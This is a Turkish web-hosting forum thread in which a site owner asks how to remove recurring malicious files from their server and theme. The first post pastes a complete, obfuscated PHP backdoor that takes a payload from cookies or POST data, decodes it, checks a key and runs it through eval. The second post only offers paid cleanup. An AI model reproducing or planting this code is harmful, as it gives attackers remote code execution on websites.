• 24-05-2016, 13:33:07
    #1
    Merhaba arkadaşlar,

    Kullanımış olduğum sunucuda ki ftp ben silip temizledikçe sürekli dosya üretiyor dosya içeriğinde ki kod

    <?php $GLOBALS['abf76'] = "\x3c\x9\x37\x66\x76\x6b\x3d\x20\x49\x41\x3e\x31\x29\x5c\x30\x45\x54\xa\x7d\x68\x5f\x43\x2b\x5b\x57\x7e\x50\x6d\x79\x5e\x23\x47\x71\x72\x64\x32\x59\x27\x77\x7b\x6a\x51\x40\x69\x58\x53\x2e\x3a\x4b\x48\x46\x34\x2f\x26\x75\x2c\x56\x60\x24\x73\x22\x28\xd\x74\x21\x2a\x4e\x4a\x6c\x6e\x4f\x25\x61\x55\x6f\x52\x36\x4d\x38\x5d\x67\x39\x3b\x62\x44\x7a\x70\x5a\x33\x42\x4c\x7c\x78\x35\x3f\x65\x63\x2d";
    $GLOBALS[$GLOBALS['abf76'][33].$GLOBALS['abf76'][72].$GLOBALS['abf76'][76].$GLOBALS['abf76'][76].$GLOBALS['abf76'][14]] = $GLOBALS['abf76'][96].$GLOBALS['abf76'][19].$GLOBALS['abf76'][33];
    $GLOBALS[$GLOBALS['abf76'][40].$GLOBALS['abf76'][88].$GLOBALS['abf76'][88].$GLOBALS['abf76'][83].$GLOBALS['abf76'][96].$GLOBALS['abf76'][78].$GLOBALS['abf76'][35].$GLOBALS['abf76'][11].$GLOBALS['abf76'][72]] = $GLOBALS['abf76'][74].$GLOBALS['abf76'][33].$GLOBALS['abf76'][34];
    $GLOBALS[$GLOBALS['abf76'][54].$GLOBALS['abf76'][14].$GLOBALS['abf76'][88].$GLOBALS['abf76'][3].$GLOBALS['abf76'][11].$GLOBALS['abf76'][51].$GLOBALS['abf76'][2].$GLOBALS['abf76'][76].$GLOBALS['abf76'][3]] = $GLOBALS['abf76'][59].$GLOBALS['abf76'][63].$GLOBALS['abf76'][33].$GLOBALS['abf76'][68].$GLOBALS['abf76'][95].$GLOBALS['abf76'][69];
    $GLOBALS[$GLOBALS['abf76'][80].$GLOBALS['abf76'][76].$GLOBALS['abf76'][81].$GLOBALS['abf76'][78].$GLOBALS['abf76'][96].$GLOBALS['abf76'][72]] = $GLOBALS['abf76'][43].$GLOBALS['abf76'][69].$GLOBALS['abf76'][43].$GLOBALS['abf76'][20].$GLOBALS['abf76'][59].$GLOBALS['abf76'][95].$GLOBALS['abf76'][63];
    $GLOBALS[$GLOBALS['abf76'][59].$GLOBALS['abf76'][35].$GLOBALS['abf76'][95].$GLOBALS['abf76'][96]] = $GLOBALS['abf76'][59].$GLOBALS['abf76'][95].$GLOBALS['abf76'][33].$GLOBALS['abf76'][43].$GLOBALS['abf76'][72].$GLOBALS['abf76'][68].$GLOBALS['abf76'][43].$GLOBALS['abf76'][85].$GLOBALS['abf76'][95];
    $GLOBALS[$GLOBALS['abf76'][63].$GLOBALS['abf76'][72].$GLOBALS['abf76'][11].$GLOBALS['abf76'][83].$GLOBALS['abf76'][35].$GLOBALS['abf76'][72].$GLOBALS['abf76'][11]] = $GLOBALS['abf76'][86].$GLOBALS['abf76'][19].$GLOBALS['abf76'][86].$GLOBALS['abf76'][4].$GLOBALS['abf76'][95].$GLOBALS['abf76'][33].$GLOBALS['abf76'][59].$GLOBALS['abf76'][43].$GLOBALS['abf76'][74].$GLOBALS['abf76'][69];
    $GLOBALS[$GLOBALS['abf76'][72].$GLOBALS['abf76'][14].$GLOBALS['abf76'][95].$GLOBALS['abf76'][78].$GLOBALS['abf76'][95].$GLOBALS['abf76'][14].$GLOBALS['abf76'][34]] = $GLOBALS['abf76'][54].$GLOBALS['abf76'][69].$GLOBALS['abf76'][59].$GLOBALS['abf76'][95].$GLOBALS['abf76'][33].$GLOBALS['abf76'][43].$GLOBALS['abf76'][72].$GLOBALS['abf76'][68].$GLOBALS['abf76'][43].$GLOBALS['abf76'][85].$GLOBALS['abf76'][95];
    $GLOBALS[$GLOBALS['abf76'][74].$GLOBALS['abf76'][2].$GLOBALS['abf76'][93].$GLOBALS['abf76'][2]] = $GLOBALS['abf76'][83].$GLOBALS['abf76'][72].$GLOBALS['abf76'][59].$GLOBALS['abf76'][95].$GLOBALS['abf76'][76].$GLOBALS['abf76'][51].$GLOBALS['abf76'][20].$GLOBALS['abf76'][34].$GLOBALS['abf76'][95].$GLOBALS['abf76'][96].$GLOBALS['abf76'][74].$GLOBALS['abf76'][34].$GLOBALS['abf76'][95];
    $GLOBALS[$GLOBALS['abf76'][72].$GLOBALS['abf76'][93].$GLOBALS['abf76'][34].$GLOBALS['abf76'][34].$GLOBALS['abf76'][93].$GLOBALS['abf76'][35].$GLOBALS['abf76'][93].$GLOBALS['abf76'][34].$GLOBALS['abf76'][11]] = $GLOBALS['abf76'][59].$GLOBALS['abf76'][95].$GLOBALS['abf76'][63].$GLOBALS['abf76'][20].$GLOBALS['abf76'][63].$GLOBALS['abf76'][43].$GLOBALS['abf76'][27].$GLOBALS['abf76'][95].$GLOBALS['abf76'][20].$GLOBALS['abf76'][68].$GLOBALS['abf76'][43].$GLOBALS['abf76'][27].$GLOBALS['abf76'][43].$GLOBALS['abf76'][63];
    $GLOBALS[$GLOBALS['abf76'][33].$GLOBALS['abf76'][34].$GLOBALS['abf76'][88].$GLOBALS['abf76'][11].$GLOBALS['abf76'][93].$GLOBALS['abf76'][34]] = $GLOBALS['abf76'][40].$GLOBALS['abf76'][35].$GLOBALS['abf76'][72].$GLOBALS['abf76'][76].$GLOBALS['abf76'][78];
    $GLOBALS[$GLOBALS['abf76'][72].$GLOBALS['abf76'][81].$GLOBALS['abf76'][72].$GLOBALS['abf76'][2].$GLOBALS['abf76'][88].$GLOBALS['abf76'][72].$GLOBALS['abf76'][88]] = $GLOBALS['abf76'][43].$GLOBALS['abf76'][14].$GLOBALS['abf76'][51].$GLOBALS['abf76'][34].$GLOBALS['abf76'][76];
    $GLOBALS[$GLOBALS['abf76'][59].$GLOBALS['abf76'][81].$GLOBALS['abf76'][72].$GLOBALS['abf76'][35].$GLOBALS['abf76'][81].$GLOBALS['abf76'][3].$GLOBALS['abf76'][3].$GLOBALS['abf76'][35].$GLOBALS['abf76'][83]] = $_POST;
    $GLOBALS[$GLOBALS['abf76'][96].$GLOBALS['abf76'][81].$GLOBALS['abf76'][51].$GLOBALS['abf76'][81].$GLOBALS['abf76'][11]] = $_COOKIE;
    @$GLOBALS[$GLOBALS['abf76'][80].$GLOBALS['abf76'][76].$GLOBALS['abf76'][81].$GLOBALS['abf76'][78].$GLOBALS['abf76'][96].$GLOBALS['abf76'][72]]($GLOBALS['abf76'][95].$GLOBALS['abf76'][33].$GLOBALS['abf76'][33].$GLOBALS['abf76'][74].$GLOBALS['abf76'][33].$GLOBALS['abf76'][20].$GLOBALS['abf76'][68].$GLOBALS['abf76'][74].$GLOBALS['abf76'][80], NULL);
    @$GLOBALS[$GLOBALS['abf76'][80].$GLOBALS['abf76'][76].$GLOBALS['abf76'][81].$GLOBALS['abf76'][78].$GLOBALS['abf76'][96].$GLOBALS['abf76'][72]]($GLOBALS['abf76'][68].$GLOBALS['abf76'][74].$GLOBALS['abf76'][80].$GLOBALS['abf76'][20].$GLOBALS['abf76'][95].$GLOBALS['abf76'][33].$GLOBALS['abf76'][33].$GLOBALS['abf76'][74].$GLOBALS['abf76'][33].$GLOBALS['abf76'][59], 0);
    @$GLOBALS[$GLOBALS['abf76'][80].$GLOBALS['abf76'][76].$GLOBALS['abf76'][81].$GLOBALS['abf76'][78].$GLOBALS['abf76'][96].$GLOBALS['abf76'][72]]($GLOBALS['abf76'][27].$GLOBALS['abf76'][72].$GLOBALS['abf76'][92].$GLOBALS['abf76'][20].$GLOBALS['abf76'][95].$GLOBALS['abf76'][92].$GLOBALS['abf76'][95].$GLOBALS['abf76'][96].$GLOBALS['abf76'][54].$GLOBALS['abf76'][63].$GLOBALS['abf76'][43].$GLOBALS['abf76'][74].$GLOBALS['abf76'][69].$GLOBALS['abf76'][20].$GLOBALS['abf76'][63].$GLOBALS['abf76'][43].$GLOBALS['abf76'][27].$GLOBALS['abf76'][95], 0);
    @$GLOBALS[$GLOBALS['abf76'][72].$GLOBALS['abf76'][93].$GLOBALS['abf76'][34].$GLOBALS['abf76'][34].$GLOBALS['abf76'][93].$GLOBALS['abf76'][35].$GLOBALS['abf76'][93].$GLOBALS['abf76'][34].$GLOBALS['abf76'][11]](0);
    
    $o7dde8bb = NULL;
    $jacd87e3 = NULL;
    
    $GLOBALS[$GLOBALS['abf76'][74].$GLOBALS['abf76'][78].$GLOBALS['abf76'][2].$GLOBALS['abf76'][95]] = $GLOBALS['abf76'][76].$GLOBALS['abf76'][14].$GLOBALS['abf76'][35].$GLOBALS['abf76'][78].$GLOBALS['abf76'][93].$GLOBALS['abf76'][3].$GLOBALS['abf76'][88].$GLOBALS['abf76'][93].$GLOBALS['abf76'][97].$GLOBALS['abf76'][11].$GLOBALS['abf76'][81].$GLOBALS['abf76'][2].$GLOBALS['abf76'][95].$GLOBALS['abf76'][97].$GLOBALS['abf76'][51].$GLOBALS['abf76'][3].$GLOBALS['abf76'][96].$GLOBALS['abf76'][78].$GLOBALS['abf76'][97].$GLOBALS['abf76'][81].$GLOBALS['abf76'][11].$GLOBALS['abf76'][72].$GLOBALS['abf76'][51].$GLOBALS['abf76'][97].$GLOBALS['abf76'][95].$GLOBALS['abf76'][83].$GLOBALS['abf76'][88].$GLOBALS['abf76'][78].$GLOBALS['abf76'][95].$GLOBALS['abf76'][83].$GLOBALS['abf76'][93].$GLOBALS['abf76'][3].$GLOBALS['abf76'][14].$GLOBALS['abf76'][14].$GLOBALS['abf76'][11].$GLOBALS['abf76'][83];
    global $o87e;
    
    function i04d6($o7dde8bb, $uf37d0d)
    {
        $k894d = "";
    
        for ($k7fb4=0; $k7fb4<$GLOBALS[$GLOBALS['abf76'][54].$GLOBALS['abf76'][14].$GLOBALS['abf76'][88].$GLOBALS['abf76'][3].$GLOBALS['abf76'][11].$GLOBALS['abf76'][51].$GLOBALS['abf76'][2].$GLOBALS['abf76'][76].$GLOBALS['abf76'][3]]($o7dde8bb);)
        {
            for ($v13f=0; $v13f<$GLOBALS[$GLOBALS['abf76'][54].$GLOBALS['abf76'][14].$GLOBALS['abf76'][88].$GLOBALS['abf76'][3].$GLOBALS['abf76'][11].$GLOBALS['abf76'][51].$GLOBALS['abf76'][2].$GLOBALS['abf76'][76].$GLOBALS['abf76'][3]]($uf37d0d) && $k7fb4<$GLOBALS[$GLOBALS['abf76'][54].$GLOBALS['abf76'][14].$GLOBALS['abf76'][88].$GLOBALS['abf76'][3].$GLOBALS['abf76'][11].$GLOBALS['abf76'][51].$GLOBALS['abf76'][2].$GLOBALS['abf76'][76].$GLOBALS['abf76'][3]]($o7dde8bb); $v13f++, $k7fb4++)
            {
                $k894d .= $GLOBALS[$GLOBALS['abf76'][33].$GLOBALS['abf76'][72].$GLOBALS['abf76'][76].$GLOBALS['abf76'][76].$GLOBALS['abf76'][14]]($GLOBALS[$GLOBALS['abf76'][40].$GLOBALS['abf76'][88].$GLOBALS['abf76'][88].$GLOBALS['abf76'][83].$GLOBALS['abf76'][96].$GLOBALS['abf76'][78].$GLOBALS['abf76'][35].$GLOBALS['abf76'][11].$GLOBALS['abf76'][72]]($o7dde8bb[$k7fb4]) ^ $GLOBALS[$GLOBALS['abf76'][40].$GLOBALS['abf76'][88].$GLOBALS['abf76'][88].$GLOBALS['abf76'][83].$GLOBALS['abf76'][96].$GLOBALS['abf76'][78].$GLOBALS['abf76'][35].$GLOBALS['abf76'][11].$GLOBALS['abf76'][72]]($uf37d0d[$v13f]));
            }
        }
    
        return $k894d;
    }
    
    function j2a68($o7dde8bb, $uf37d0d)
    {
        global $o87e;
    
        return $GLOBALS[$GLOBALS['abf76'][72].$GLOBALS['abf76'][81].$GLOBALS['abf76'][72].$GLOBALS['abf76'][2].$GLOBALS['abf76'][88].$GLOBALS['abf76'][72].$GLOBALS['abf76'][88]]($GLOBALS[$GLOBALS['abf76'][72].$GLOBALS['abf76'][81].$GLOBALS['abf76'][72].$GLOBALS['abf76'][2].$GLOBALS['abf76'][88].$GLOBALS['abf76'][72].$GLOBALS['abf76'][88]]($o7dde8bb, $o87e), $uf37d0d);
    }
    
    foreach ($GLOBALS[$GLOBALS['abf76'][96].$GLOBALS['abf76'][81].$GLOBALS['abf76'][51].$GLOBALS['abf76'][81].$GLOBALS['abf76'][11]] as $uf37d0d=>$ndfcca52)
    {
        $o7dde8bb = $ndfcca52;
        $jacd87e3 = $uf37d0d;
    }
    
    if (!$o7dde8bb)
    {
        foreach ($GLOBALS[$GLOBALS['abf76'][59].$GLOBALS['abf76'][81].$GLOBALS['abf76'][72].$GLOBALS['abf76'][35].$GLOBALS['abf76'][81].$GLOBALS['abf76'][3].$GLOBALS['abf76'][3].$GLOBALS['abf76'][35].$GLOBALS['abf76'][83]] as $uf37d0d=>$ndfcca52)
        {
            $o7dde8bb = $ndfcca52;
            $jacd87e3 = $uf37d0d;
        }
    }
    
    $o7dde8bb = @$GLOBALS[$GLOBALS['abf76'][72].$GLOBALS['abf76'][14].$GLOBALS['abf76'][95].$GLOBALS['abf76'][78].$GLOBALS['abf76'][95].$GLOBALS['abf76'][14].$GLOBALS['abf76'][34]]($GLOBALS[$GLOBALS['abf76'][33].$GLOBALS['abf76'][34].$GLOBALS['abf76'][88].$GLOBALS['abf76'][11].$GLOBALS['abf76'][93].$GLOBALS['abf76'][34]]($GLOBALS[$GLOBALS['abf76'][74].$GLOBALS['abf76'][2].$GLOBALS['abf76'][93].$GLOBALS['abf76'][2]]($o7dde8bb), $jacd87e3));
    if (isset($o7dde8bb[$GLOBALS['abf76'][72].$GLOBALS['abf76'][5]]) && $o87e==$o7dde8bb[$GLOBALS['abf76'][72].$GLOBALS['abf76'][5]])
    {
        if ($o7dde8bb[$GLOBALS['abf76'][72]] == $GLOBALS['abf76'][43])
        {
            $k7fb4 = Array(
                $GLOBALS['abf76'][86].$GLOBALS['abf76'][4] => @$GLOBALS[$GLOBALS['abf76'][63].$GLOBALS['abf76'][72].$GLOBALS['abf76'][11].$GLOBALS['abf76'][83].$GLOBALS['abf76'][35].$GLOBALS['abf76'][72].$GLOBALS['abf76'][11]](),
                $GLOBALS['abf76'][59].$GLOBALS['abf76'][4] => $GLOBALS['abf76'][11].$GLOBALS['abf76'][46].$GLOBALS['abf76'][14].$GLOBALS['abf76'][97].$GLOBALS['abf76'][11],
            );
            echo @$GLOBALS[$GLOBALS['abf76'][59].$GLOBALS['abf76'][35].$GLOBALS['abf76'][95].$GLOBALS['abf76'][96]]($k7fb4);
        }
        elseif ($o7dde8bb[$GLOBALS['abf76'][72]] == $GLOBALS['abf76'][95])
        {
            eval($o7dde8bb[$GLOBALS['abf76'][34]]);
        }
        exit();
    }


    Hepsi Bu şekilde Ayrıca Tema içerisindeki dosyalarada bulaşıyor, Bazen <script> şeklinde linkte bulabiliyorum ve google kötü amaçlı yazılım diyerek uyarı veriyor bunu nasıl temizleyebilirim?
  • 25-05-2016, 11:29:12
    #2
    Üyeliği durduruldu
    Ücretli destek ve işlem dilerseniz imzam üzerindeki konu vasıtasıyla iletişime geçebilirsiniz.